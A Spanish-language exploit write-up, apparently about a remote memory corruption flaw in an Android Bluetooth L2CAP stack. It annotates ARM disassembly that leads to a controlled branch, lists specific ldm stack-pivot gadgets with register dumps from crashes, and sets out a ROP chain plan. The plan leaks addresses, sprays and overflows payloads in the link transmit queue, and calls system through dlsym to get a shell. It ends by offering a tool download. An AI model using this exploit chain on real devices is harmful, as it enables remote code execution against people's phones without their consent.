uint16_t event; | Tamaño 0x2 | Offset 0x0 uint16_t len; | Tamaño 0x2 | Offset 0x2 uint16_t offset; | Tamaño 0x2 | Offset 0x4 uint16_t layer_specific; | Tamaño 0x2 | Offset 0x6 uint8_t data[]; | Tamaño 0xx | Offset 0x8 } BT_HDR; | Tamaño 0x8 + longitud datos

El desensamblado de la función l2c_link_check_send_pkts:

.text:0x00103108 PUSH.W {R4-R11,LR} .text:0x0010310C SUB SP, SP, #0x14 .text:0x0010310E MOV R4, R0 => Mueve R0 a R4 => Establece R4 = R0 = tL2C_LCB* p_lcb .text:0x00103110 CBZ R2, loc_10311C => Salta si R2 es nulo => Salta si BT_HDR* p_buf es nulo .text:0x00103112 MOVS R0, #0 => Mueve 0 a R0 => .text:0x00103114 CBZ R1, loc_103120 => Salta si R1 es nulo => Salta si tL2C_CCB* p_ccb es nulo .text:0x00103116 LDRH R1, [R1,#0x2C] => Carga R1 + 0x2C en R1 => Carga R1 con p_ccb->local_cid .text:0x00103118 MOVS R7, #1 => Mueve 1 a R7 => Establece single_write = true .text:0x0010311A B loc_103124 => Rama a loc_103124 .text:0x00103124 loc_103124 .text:0x00103124 STRH R1, [R2] => Almacena R1 alto en R2 => Establece p_buf->event = p_ccb->local_cid .text:0x00103126 MOV R1, R2 => Mueve R2 a R1 => Establece R1 = R2 = BT_HDR* p_buf .text:0x00103128 STRH R0, [R2,#6] => Almacena R0 en R2 + 0x6 => Establece p_buf->layer_specific = 0 .text:0x0010312A LDR R0, [R4,#0x44] => Carga R4 + 0x44 en R0 => Carga R0 con list_t* p_lcb->link_xmit_data_q desde R4 + 0x44 .text:0x0010312C BL list_append => Rama con enlace a list_append

Justo antes de la llamada a la función list_append, los registros contienen:

  • R0 = objeto list_t* p_lcb->link_xmit_data_q con el primer payload
  • R1 y R2 = objeto BT_HDR* p_buf con el segundo payload
  • R4 = objeto tL2C_LCB* p_lcb con el primer payload en 0x44
  • R7 = 1

El desensamblado de la función list_append:

.text:0x001298A0 PUSH {R4,R5,R7,LR} .text:0x001298A2 SUB SP, SP, #0x138 .text:0x001298A4 MOV R4, R0 => Mueve R4 a R0 => Establece R4 = R0 = list_t* p_lcb->link_xmit_data_q .text:0x001298A6 LDR R0, =(stack_canary_1A2718 - 0x1298B0) .text:0x001298A8 MOV R5, R1 => Mueve R1 a R5 => Establece R5 = R1 = BT_HDR* p_buf .text:0x001298AA CMP R4, #0 => Compara R4 = 0 => Comprueba si list_t* p_lcb->link_xmit_data_q es nulo .text:0x001298AC ADD R0, PC ; stack_canary_1A2718 .text:0x001298AE LDR R0, [R0] => .text:0x001298B0 LDR R0, [R0] => .text:0x001298B2 STR R0, [SP,#0x148+stack_canary] => .text:0x001298B4 BNE loc_1298CA => Comprueba CMP => Salta si list_t* p_lcb->link_xmit_data_q no es nulo .text:0x001298CA loc_1298CA => .text:0x001298CA CBNZ R5, loc_1298E0 => Salta si R5 no es nulo => Salta si BT_HDR* p_buf no es nulo .text:0x001298E0 loc_1298E0 => .text:0x001298E0 LDR R0, [R4,#0x10] => Carga R0 desde R4+0x10 => Establece R0 = list->allocator .text:0x001298E2 LDR R1, [R0] => Carga R1 desde R0 => Establece R1 = list->allocator->alloc .text:0x001298E4 MOVS R0, #8 => Mueve 8 a R0 => Establece R0 = sizeof(list_node_t) .text:0x001298E6 BLX R1 => Rama con enlace e intercambio a R1 => Rama a R1 controlado !!!

Justo antes de la rama controlada a R1, los registros contienen:

  • R0 = 0x8
  • R1 = valor del segundo payload + 0x0
  • R2 y R5 apuntan a BT_HDR* p_buff con el segundo payload
  • R4 apunta a list_t* p_lcb->link_xmit_data_q con el primer payload

Para encontrar el inicio del primer payload en list_t* p_lcb->link_xmit_data_q apuntado por R4, usamos el gadget ldm encontrado en 0x00125734:

0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}

El fallo objetivo con los siguientes contenidos de registro:

  • R4 = ade05278 = list_t* p_lcb->link_xmit_data_q con el primer payload en + 0x894C (0x894C / 0x360 = 0x28 = 40 paquetes donde podemos acceder al segundo payload)

  • R0 = R4 + 0x0 = 0020de08

  • R1 = R4 + 0x4 = dead0000 = primer payload valor + 0x0

  • R2 = R4 + 0x8 = dead0001 = primer payload valor + 0x4

  • R3 = R4 + 0xC = dead0002 = primer payload valor + 0x8

  • R5 = R4 + 0x10 = ade0db14 = primer payload valor + 0xC = dirección del segundo payload + 0x0

  • R6 = R4 + 0x14 = dead0003 = primer payload valor + 0x10

  • R7 = R4 + 0x18 = 00200004

  • R9 (SB) = R4 + 0x1C = dead0000 = primer payload valor + 0x0

  • R10 (SL) = R4 + 0x20 = dead0001 = primer payload valor + 0x4

  • R12 (IP) = R4 + 0x24 = dead0002 = primer payload valor + 0x8

  • R13 (SP) = R4 + 0x2C = ade0db14 = primer payload valor + 0xC = dirección del segundo payload + 0x0

  • R14 (LR) = R4 + 0x30 = dead0003 = primer payload valor + 0x10

El primer payload se repite cada 0x14 bytes, que es el tamaño de la estructura list_t.

typedef struct list_t { list_node_t* head; | Tamaño 0x4 | Offset 0x0 | Cabecera l2cap no utilizable list_node_t* tail; | Tamaño 0x4 | Offset 0x4 | primer payload valor + 0x0 size_t length; | Tamaño 0x4 | Offset 0x8 | primer payload valor + 0x4 list_free_cb free_cb; | Tamaño 0x4 | Offset 0xC | primer payload valor + 0x8 const allocator_t* allocator; | Tamaño 0x4 | Offset 0x10 | primer payload valor + 0xC } list_t; | Tamaño 0x14

Para encontrar el inicio del segundo payload en BT_HDR* p_buff apuntado por R5, usamos el gadget ldm encontrado en 0x000dcecc:

0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}

El fallo objetivo con los siguientes contenidos de registro:

  • R2 = R5 + 0x0 = 000e0000
  • R3 = R5 + 0x4 = 00000000
  • R4 = R5 + 0x8 = 000a2002
  • R5 = 95270300 = BT_HDR* p_buff con el segundo payload en + 0x???
  • R6 = R5 + 0xC = 00010006
  • R7 = R5 + 0x10 = 0002020a
  • R8 = R5 + 0x14 = 00000002

No hay incremento en esta carga múltiple y podemos ver que el contenido de BT_HDR* p_buff + 0x0 es: 000e0000 00000000 000a2002 00010006 0002020a 00000002

La misma prueba con una carga múltiple con incremento antes del gadget encontrado en 0x0014b580: 0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^

El fallo objetivo con el siguiente registro:

Después del fallo los registros contienen:

  • R1 = R5 + 0x4 = 00000000
  • R2 = R5 + 0x8 = 000a2002
  • R3 = R5 + 0xC = 00010006
  • R4 = R5 + 0x10 = 0002020a
  • R5 = 9530ee00 = BT_HDR* p_buff con el segundo payload en + 0x14
  • R7 = R5 + 0x14 = 96300002
  • R8 = R5 + 0x18 = dead0007
  • SL = R5 + 0x1C = dead0008
  • FP = R5 + 0x20 = dead0009
  • SP = R5 + 0x24 = dead000a

El contenido de BT_HDR* p_buff + 0x4 para el incremento es: 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a

Podemos ver que el segundo payload está en + 0x14 en BT_HDR* p_buff.

########################################################################################

ESCRIBIR LA ROP CHAIN

########################################################################################

Al igual que Jan Ruge con la librería libicuuc, solo tenemos acceso a dlsym en la de bluetooth para encontrar la dirección de system y así iniciar la shell.

El proceso de explotación es el siguiente:Obtener la dirección de una entrada de la cola del búfer de transmisión de enlace en mem_offset 180 y calcular la base de un paquete con - 176 Obtener la dirección de la función BleAdvertisingManagerImpl::SetDataAdvDataSender en mem_offset 28 para calcular la dirección base de la biblioteca bluetooth Construir un primer payload de 32 caracteres que contenga la dirección de entrada de la cola del búfer de transmisión de enlace Construir un segundo payload de 184 caracteres que contenga la cadena ROP y el comando shell Rociar el segundo payload en mem_offset 184 usando el método de fuga para colocarlo en la cola del búfer de transmisión de enlace Desbordar el primer payload para sobrescribir entradas en la cola del búfer de transmisión de enlace y desencadenar el salto al inicio del segundo payload El segundo payload inicia el comando shell

Ver el código para explicaciones ########################################################################################

Descargar herramienta